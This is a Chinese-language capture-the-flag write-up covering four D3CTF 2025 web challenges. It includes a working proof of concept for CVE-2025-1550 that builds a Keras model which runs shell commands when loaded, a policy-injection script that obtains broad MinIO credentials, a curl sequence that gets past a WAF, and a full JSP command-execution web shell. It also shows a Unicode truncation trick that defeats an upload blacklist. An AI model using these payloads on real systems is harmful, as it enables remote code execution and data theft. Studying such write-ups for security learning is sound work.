d3model

审源码项目
依赖的版本:

keras==3.8.0
flask
tensorflow

源码:

import keras
from flask import Flask, request, jsonify
import os


def is_valid_model(modelname):
try:
keras.models.load_model(modelname)
except:
return False
return True

app = Flask(__name__)

@app.route('/', methods=['GET'])
def index():
return open('index.html').read()


@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return jsonify({'error': 'No file part'}), 400

file = request.files['file']

if file.filename == '':
return jsonify({'error': 'No selected file'}), 400

MAX_FILE_SIZE = 50 * 1024 * 1024 # 50MB
file.seek(0, os.SEEK_END)
file_size = file.tell()
file.seek(0)

if file_size > MAX_FILE_SIZE:
return jsonify({'error': 'File size exceeds 50MB limit'}), 400

filepath = os.path.join('./', 'test.keras')
if os.path.exists(filepath):
os.remove(filepath)
file.save(filepath)

if is_valid_model(filepath):
return jsonify({'message': 'Model is valid'}), 200
else:
return jsonify({'error': 'Invalid model file'}), 400

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

可以上传一个不大于50MB的文件,
根据keras的版本找到CVE-2025-1550
loal_model处触发漏洞,可以实现命令执行
参考这个链接使用的POC:
https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

import os
import zipfile
import json
from keras.models import Sequential
from keras.layers import Dense
import numpy as np

model_name = "test.keras"

x_train = np.random.rand(100, 28 * 28)
y_train = np.random.rand(100)

model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])

model.compile(optimizer='adam', loss='mse')
model.fit(x_train, y_train, epochs=5)
model.save(model_name)

with zipfile.ZipFile(model_name, "r") as f:
config = json.loads(f.read("config.json").decode())

config["config"]["layers"][0]["module"] = "keras.models"
config["config"]["layers"][0]["class_name"] = "Model"
config["config"]["layers"][0]["config"] = {
"name": "mvlttt",
"layers": [
{
"name": "mvlttt",
"class_name": "function",
"config": "Popen",
"module": "subprocess",
"inbound_nodes": [{"args": [["/bin/bash", "-c", "env>>index.html"]], "kwargs": {"bufsize": -1}}]
}],
"input_layers": [["mvlttt", 0, 0]],
"output_layers": [["mvlttt", 0, 0]]
}

with zipfile.ZipFile(model_name, 'r') as zip_read:
with zipfile.ZipFile(f"tmp.{model_name}", 'w') as zip_write:
for item in zip_read.infolist():
if item.filename != "config.json":
zip_write.writestr(item, zip_read.read(item.filename))

os.remove(model_name)
os.rename(f"tmp.{model_name}", model_name)

with zipfile.ZipFile(model_name, "a") as zf:
zf.writestr("config.json", json.dumps(config))

print("[+] Malicious model ready")

先创建一个正常的模型,然后根据其压缩包的性质解压并修改config
修改一下系统命令就可以使用

FLAG=d3ctf{moD3L-IO@D-r3@LIy-c4UsE5_rc383ad8b}

d3invitation

是一个生成邀请函的web服务
先正常使用看一下全流程
alt text
其中/api/genSTSCreds接口,
会根据文件名发放token:

POST /api/genSTSCreds HTTP/1.1
Host: 35.241.98.126:31138
Content-Length: 36
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: http://35.241.98.126:31138
Referer: http://35.241.98.126:31138/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

{"object_name":"20240704193708.jpg"}
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Date: Wed, 04 Jun 2025 12:53:24 GMT
Content-Length: 668
Connection: close

{
"access_key_id":"7SWYYK5QNPONE8H3XMX9",
"secret_access_key":"fMKE5GeLwWTs2EyxYKkUOApocFKooJqM+bDJYcox",
"session_token":"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJhY2Nlc3NLZXkiOiI3U1dZWUs1UU5QT05FOEgzWE1YOSIsImV4cCI6MTc0OTA0NTIwNCwicGFyZW50IjoiQjlNMzIwUVhIRDM4V1VSMk1JWTMiLCJzZXNzaW9uUG9saWN5IjoiZXlKV1pYSnphVzl1SWpvaU1qQXhNaTB4TUMweE55SXNJbE4wWVhSbGJXVnVkQ0k2VzNzaVJXWm1aV04wSWpvaVFXeHNiM2NpTENKQlkzUnBiMjRpT2xzaWN6TTZSMlYwVDJKcVpXTjBJaXdpY3pNNlVIVjBUMkpxWldOMElsMHNJbEpsYzI5MWNtTmxJanBiSW1GeWJqcGhkM002Y3pNNk9qcGtNMmx1ZG1sMFlYUnBiMjR2TWpBeU5EQTNNRFF4T1RNM01EZ3VhbkJuSWwxOVhYMD0ifQ.s9NFu0aVSWX1rHAlgtaZ0kyHUqV1bfGzUsJsyvkmj9izO6Rf69VP15oz4LuWXChIrKa6uOWpuNyPN0e8X7dWdA"
}

把这一段session_token放jwt解一下:

{
"accessKey": "7SWYYK5QNPONE8H3XMX9",
"exp": 1749045204,
"parent": "B9M320QXHD38WUR2MIY3",
"sessionPolicy": "eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMjAyNDA3MDQxOTM3MDguanBnIl19XX0="
}

发现还有一段sessionPolicy,也解一下:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": [
"arn:aws:s3:::d3invitation/20240704193708.jpg"
]
}
]
}

这里就是明文了
文件池是用AWS策略储存的
尝试后发现可以闭合,因为服务端直接对文件名进行拼接
那么使用一下我们的wp上的文件名,手动拼出来:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": [
"arn:aws:s3:::d3invitation/"],
"Action":[
"s3:GetObject",
"s3:PutObject"]

},
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject",
"s3:ListBucket",
"s3:ListAllMyBuckets",
"s3:GetBucketLocation"],"Resource": "*"
}
]
}aaa"
]
}
]
}

这个作为json结构我个人感觉其实有点问题
因为第一个Statement中有两个action
然后后面也有乱数据无法去掉
但是经过服务端好像会自动纠错
发下来就变成修正后的数据了:

{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:GetObject",
"s3:PutObject"
],
"Resource": [
"arn:aws:s3:::d3invitation/"
]
},
{
"Effect": "Allow",
"Action": [
"s3:PutObject",
"s3:GetBucketLocation",
"s3:GetObject",
"s3:ListAllMyBuckets",
"s3:ListBucket"
],
"Resource": [
"**"
]
}
]
}

当然也可以用官方wp的s3:*写法
这样的token就是minio服务的所有权限
以上就是核心思路
如何使用token去访问minio服务就是云安全的内容了
以后学到会想起来这题的
当然这里可以用python脚本完成

from minio import Minio
from minio.error import S3Error
import requests
import json
BASE_URL = "http://35.241.98.126:31138" # ← 改成你的目标地址
UPLOAD_FILENAME = '"],\"Action\":[\"s3:GetObject\",\"s3:PutObject\"]},{"Effect": "Allow","Action": ["s3:GetObject","s3:PutObject","s3:ListBucket","s3:ListAllMyBuckets","s3:GetBucketLocation"],"Resource": "*"}]}aaa'
UPLOAD_CONTENT = b"This is a test file from attacker."
ACCESS_KEY = ""
SECRET_KEY = ""
BUCKET_NAME = "flag"
SESSION_TOKEN=""


# Step 1: 获取临时凭证
def get_temp_creds(object_name):
global ACCESS_KEY, SECRET_KEY, SESSION_TOKEN
url = f"{BASE_URL}/api/genSTSCreds"
data = {"object_name": object_name}
resp = requests.post(url, json=data)
resp.raise_for_status()
print("[+] 获取临时凭证成功")
# temp=json.loads()
ACCESS_KEY= resp.json()['access_key_id']
SECRET_KEY=resp.json()['secret_access_key']
SESSION_TOKEN=resp.json()['session_token']
return ACCESS_KEY,SECRET_KEY,SESSION_TOKEN
# MinIO server configuration
get_temp_creds(UPLOAD_FILENAME)
# Initialize the MinIO client
print(ACCESS_KEY)
print(SECRET_KEY)
print(SESSION_TOKEN)
minio_client = Minio(
"35.241.98.126:31500",
access_key=ACCESS_KEY,
secret_key=SECRET_KEY,
session_token=SESSION_TOKEN,
secure=False
)


def download_file(object_name, download_path):
"""Download a file from the MinIO bucket."""
try:
minio_client.fget_object(BUCKET_NAME, object_name, download_path)
print(f"[+] File '{object_name}' downloaded to '{download_path}'")
except S3Error as e:
print(f"[-] Error downloading file: {e}")

def list_objects():
"""List all objects in the MinIO bucket."""
try:
objects = minio_client.list_objects(BUCKET_NAME)
print("[+] Objects in bucket:")
for obj in objects:
print(f" - {obj.object_name}")
except S3Error as e:
print(f"[-] Error listing objects: {e}")

def list_buckets():
"""List all buckets in the MinIO server."""
try:
buckets = minio_client.list_buckets()
print("[+] Buckets:")
print(buckets)
for bucket in buckets:
print(f" - {bucket.name}")
except S3Error as e:
print(f"[-] Error listing buckets: {e}")


list_buckets()
list_objects()
download_file("flag", "1.txt")

tidy quic

对源码进行一个审:

package main // 声明该文件属于 main 包,表示这是一个可执行程序

import ( // 导入所需的标准库和第三方库
"bytes" // 导入 bytes 包,用于处理字节切片
"errors" // 导入 errors 包,用于创建和处理错误
"github.com/libp2p/go-buffer-pool" // 导入 go-buffer-pool 库,用于高效地管理字节缓冲区
"github.com/quic-go/quic-go/http3" // 导入 quic-go/http3 库,用于支持 HTTP/3
"io" // 导入 io 包,提供了 I/O 原始操作接口
"log" // 导入 log 包,用于记录日志
"net/http" // 导入 net/http 包,提供了 HTTP 客户端和服务器的实现
"os" // 导入 os 包,提供了操作系统功能,例如访问环境变量
)

var p pool.BufferPool // 声明一个全局变量 p,类型为 buffer-pool 库中的 BufferPool,用于管理字节缓冲区
var ErrWAF = errors.New("WAF") // 声明一个自定义错误 ErrWAF,用于表示被 WAF (Web Application Firewall) 拦截

func main() { // 程序入口点
go func() { // 启动一个 Goroutine (轻量级线程)
// 在 8080 端口上启动一个 HTTPS 服务器,使用 server.crt 和 server.key 作为 TLS 证书和密钥
// 请求处理逻辑由 &mux{} (自定义的 mux 类型实例) 提供
err := http.ListenAndServeTLS(":8080", "./server.crt", "./server.key", &mux{})
if err != nil { // 如果服务器启动失败,记录致命错误并退出
log.Fatalln(err)
}
}() // 立即执行这个匿名函数

go func() { // 启动另一个 Goroutine
// 在 8080 端口上启动一个 HTTP/3 (基于 QUIC) 服务器,使用 server.crt 和 server.key 作为证书和密钥
// 请求处理逻辑同样由 &mux{} 提供
err := http3.ListenAndServeQUIC(":8080", "./server.crt", "./server.key", &mux{})
if err != nil { // 如果服务器启动失败,记录致命错误并退出
log.Fatalln(err)
}
}() // 立即执行这个匿名函数

select {} // 这是一个空的 select 语句,会阻塞 main Goroutine,防止程序退出
// 这样可以确保上面启动的两个 Goroutine (HTTP/TLS 和 HTTP/3 服务器) 持续运行
}

type mux struct { // 定义一个名为 mux 的结构体
}

// 为 mux 结构体实现 http.Handler 接口的 ServeHTTP 方法
// 这个方法负责处理所有的 HTTP 请求
func (*mux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
if r.Method == http.MethodGet { // 如果请求方法是 GET
// 向客户端写入一个固定的欢迎消息
_, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))
return // 结束处理并返回
}
if r.Method != http.MethodPost { // 如果请求方法不是 POST (且不是 GET)
w.WriteHeader(400) // 设置 HTTP 状态码为 400 (Bad Request)
return // 结束处理并返回
}

var buf []byte // 声明一个字节切片 buf,用于存储请求体数据
length := int(r.ContentLength) // 获取请求体的 Content-Length
if length == -1 { // 如果 Content-Length 为 -1,表示长度未知 (通常是分块传输或流式传输)
var err error
// 从请求体中读取所有数据,并包装一个 textInterrupterWrap 以进行内容检查
buf, err = io.ReadAll(textInterrupterWrap(r.Body))
if err != nil { // 如果读取过程中发生错误
if errors.Is(err, ErrWAF) { // 如果错误是 ErrWAF (被 WAF 拦截)
w.WriteHeader(400) // 设置状态码为 400
_, _ = w.Write([]byte("WAF")) // 返回 "WAF" 消息
} else { // 其他错误
w.WriteHeader(500) // 设置状态码为 500 (Internal Server Error)
_, _ = w.Write([]byte("error")) // 返回 "error" 消息
}
return // 结束处理并返回
}
} else { // 如果 Content-Length 已知
buf = p.Get(length) // 从缓冲区池中获取一个指定长度的字节切片
defer p.Put(buf) // 在函数返回前将缓冲区放回池中,避免内存泄漏
rd := textInterrupterWrap(r.Body) // 包装请求体,以便进行内容检查
i := 0 // 初始化已读取的字节数
for { // 循环读取请求体
n, err := rd.Read(buf[i:]) // 从包装过的请求体中读取数据到 buf 中
if err != nil { // 如果读取发生错误
if errors.Is(err, io.EOF) { // 如果是文件结束符 (EOF),表示读取完毕
break // 跳出循环
} else if errors.Is(err, ErrWAF) { // 如果是 ErrWAF
w.WriteHeader(400) // 设置状态码为 400
_, _ = w.Write([]byte("WAF")) // 返回 "WAF" 消息
return // 结束处理并返回
} else { // 其他错误
w.WriteHeader(500) // 设置状态码为 500
_, _ = w.Write([]byte("error")) // 返回 "error" 消息
return // 结束处理并返回
}
}
i += n // 更新已读取的字节数
}
}

// 检查请求体是否以 "I want" 开头
if !bytes.HasPrefix(buf, []byte("I want")) {
_, _ = w.Write([]byte("Sorry I'm not clear what you want.")) // 如果不是,返回错误消息
return // 结束处理并返回
}
// 从请求体中去除 "I want" 前缀,并去除前后空白
item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))
if bytes.Equal(item, []byte("flag")) { // 如果处理后的内容是 "flag"
_, _ = w.Write([]byte(os.Getenv("FLAG"))) // 返回环境变量 FLAG 的值
} else { // 否则
_, _ = w.Write(item) // 返回处理后的内容
}
}

// 定义一个 wrap 结构体,它嵌入了 io.ReadCloser 接口,并添加了额外的字段用于 WAF 逻辑
type wrap struct {
io.ReadCloser // 嵌入 io.ReadCloser 接口,这样 wrap 类型就自动拥有 Read 和 Close 方法
ban []byte // 用于存储禁止的字节序列 (例如 "flag")
idx int // 用于跟踪当前匹配到 ban 序列的索引
}

// 为 wrap 结构体实现 Read 方法,这是 io.Reader 接口的一部分
// 这个方法会在读取数据时进行 WAF 检查
func (w *wrap) Read(p []byte) (int, error) {
n, err := w.ReadCloser.Read(p) // 首先调用底层 io.ReadCloser 的 Read 方法读取数据
// 如果读取出错且不是 EOF (文件结束符)
if err != nil && !errors.Is(err, io.EOF) {
return n, err // 直接返回错误
}
// 遍历刚刚读取到的数据 p
for i := 0; i < n; i++ {
// 如果当前字节与 ban 序列中当前期望的字节匹配
if p[i] == w.ban[w.idx] {
w.idx++ // 匹配索引递增
if w.idx == len(w.ban) { // 如果整个 ban 序列都匹配上了
return n, ErrWAF // 返回 ErrWAF 错误,表示触发了 WAF
}
} else { // 如果不匹配
w.idx = 0 // 重置匹配索引
}
}
return n, err // 返回读取到的字节数和原始的错误
}

// textInterrupterWrap 函数用于创建一个新的 wrap 实例,包装给定的 io.ReadCloser
func textInterrupterWrap(rc io.ReadCloser) io.ReadCloser {
return &wrap{ // 返回一个 wrap 结构体实例的指针
rc, // 嵌入原始的 io.ReadCloser
[]byte("flag"), // 设置禁止的字节序列为 "flag"
0, // 初始匹配索引为 0
}
}

梳理一下运行流程
运行程序执行main函数
然后启动两个服务器,分别是httphttp3的协议
这两个服务是同时运行的

两个服务的处理逻辑都是mux(自定义的多路复用器)

接收到请求时,
如果是GET请求,就返回一句欢迎:

Hello D^3CTF 2025,I'm tidy quic in web.

如果是POST请求,就根据Content-Length
获取对应长度的请求体,存在buf

如果buf以I want开头
且剩余的内容去除前后的空白后为flag
就可以获取到返回到的flag

关键的特性在这个地方:

} else { // 如果 Content-Length 已知
buf = p.Get(length) // 从缓冲区池中获取一个指定长度的字节切片
defer p.Put(buf) // 在函数返回前将缓冲区放回池中,避免内存泄漏
rd := textInterrupterWrap(r.Body) // 包装请求体,以便进行内容检查

虽然p.Put归还了缓冲区,使其可用
但是并不会删除它的数据
而waf检查的不是buf而是请求体本身r.Body

那么我们可以发一次

C:\Users\20889>C:\Users\20889\scoop\shims\curl.exe -k --http3 https://35.241.98.126:31547/ -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d "I wantflag"
WAF

被waf,但是此时数据还存在buf里
这个内置机制似乎会过一小段时间自动释放
所以只要快速发出下一条

C:\Users\20889>C:\Users\20889\scoop\shims\curl.exe -k --http3 https://35.241.98.126:31547/ -X POST -H "Content-Length: 10" -H "Connection: keep-alive" -d ""
d3ctf{Y0u-S@iD_RlghT_6Ut-YOu_SHoULD-P1ay_GeNshln-iMp@ct1}

就能拿到flag了
但这里第二次发送时要注意不要覆盖掉原有的结果
I want flag
这个结构,所以用空字符串最好

jtar

看到是java题已经畏惧了
但还是只能知识学爆

首先学着写一个jsp马

JSP(Java Server Pages)是一种用于开发动态网页的技术,
它允许开发者将Java代码嵌入到HTML页面中。
JSP是基于Java Servlet技术的扩展,
主要用于简化页面内容的动态生成。

那么我就把它理解成php

语法似乎就是使用<%%>包裹
然后内部写java语法

这道题似乎没有对内容进行过滤,
所以抄一个最普通的有回显木马:

<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
<title>一句话木马</title>
</head>
<body>
<%
if ("password".equals(request.getParameter("p"))){
Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));
InputStream inputStream = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream));
String line;
while ((line = bufferedReader.readLine())!=null){
response.getWriter().print(line);
}
}
%>
</body>
</html>

那么来具体看一下这道题的源码

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package d3.example.controller;

import d3.example.utils.BackUp;
import d3.example.utils.Upload;
import java.io.File;
import java.io.IOException;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashSet;
import java.util.Objects;
import java.util.Set;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.servlet.ModelAndView;

@Controller
public class MainController {
public MainController() {
}

@GetMapping({"/view"})
public ModelAndView view(@RequestParam String page, HttpServletRequest request) {
if (page.matches("^[a-zA-Z0-9-]+$")) {
String viewPath = "/WEB-INF/views/" + page + ".jsp";
String realPath = request.getServletContext().getRealPath(viewPath);
File jspFile = new File(realPath);
if (realPath != null && jspFile.exists()) {
return new ModelAndView(page);
}
}

ModelAndView mav = new ModelAndView("Error");
mav.addObject("message", "The file don't exist.");
return mav;
}

@PostMapping({"/Upload"})
@ResponseBody
public String UploadController(@RequestParam MultipartFile file) {
try {
String uploadDir = "webapps/ROOT/WEB-INF/views";
Set<String> blackList = new HashSet(Arrays.asList("jsp", "jspx", "jspf", "jspa", "jsw", "jsv", "jtml", "jhtml", "sh", "xml", "war", "jar"));
String filePath = Upload.secureUpload(file, uploadDir, blackList);
return "Upload Success: " + filePath;
} catch (Upload.UploadException e) {
return "The file is forbidden: " + e;
}
}

@PostMapping({"/BackUp"})
@ResponseBody
public String BackUpController(@RequestParam String op) {
if (Objects.equals(op, "tar")) {
try {
BackUp.tarDirectory(Paths.get("backup.tar"), Paths.get("webapps/ROOT/WEB-INF/views"));
return "Success !";
} catch (IOException var3) {
return "Failure : tar Error";
}
} else if (Objects.equals(op, "untar")) {
try {
BackUp.untar(Paths.get("webapps/ROOT/WEB-INF/views"), Paths.get("backup.tar"));
return "Success !";
} catch (IOException var4) {
return "Failure : untar Error";
}
} else {
return "Failure : option Error";
}
}
}

可以看到有三个接口

  • View

接收一个page参数
然后会返回对应的views/<page>.jsp文件

  • Upload

上传一个文件
过滤了有可能被当做jsp解析的所有文件

  • BackUp

接收一个op参数(操作)
如果值为tar
就把views目录打包为一个backup.tar
如果值为untar
就把这个压缩包重新解压到views里

那么现在看来思路其实挺清晰的,
用后两个接口想办法传一个jsp马到views目录里
然后通过View接口去访问

看了很多wp说因为题目叫jtar所以问题肯定在这个解压操作里
其实这个我觉得不一定的,只是网站主要是这个功能而已
但是这道题确实是

到了这里又学到个新特性:

java中char的⼤⼩在\u0000-\uffff之间,
⽽byte的⼤⼩在(-127)-128之间,所以当char的值在257时,
被强制转换成byte,则会变成1,即ascii码为1对应的字符
因为 Java 中 char 的大小是 2 字节,
范围是 0 ~ 65515(\u0000 ~ \uffff),
而 byte 是 1 字节,范围是 -128 ~ 127,
所以如果 char 超过了 256,就会发生数据截断,即只保留低 8 位

所以就想找到一个字符在转换后变成 j、s、p 中的一个字符
比如 j 二进制表示是 00000000 01101010,
考虑加上一个数,使其低八位不变,只改变高八位

即加上超过 8 位的数字(低八位全为 0)。
比如 00000001 00000000,十进制为 256。
相加后为 00000001 01101010。截断后,
就是 01101010 即字符 “j” 了

而jtar获取文件名的实现是通过这么一个函数

public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {
int i;

for (i = 0; i < length && i < name.length(); ++i) {
buf[offset + i] = (byte) name.charAt(i);
}

for (; i < length; ++i) {
buf[offset + i] = 0;
}

return offset + length;
}

就发生了上述需要的强制类型转换

那么只要使用python找到jsp对应的加256位的字符即可
不过这道题只需要换一个

chr(256+ord('j')) -> Ū

也就是Ūsp
那么就传一个Ūsp
然后打包再解包
最后上马即可
flag在env里

d3ctf{wh4T_?1_H0W-couID_YoU-D0-thAt_,-JTAr-?3d7c8d}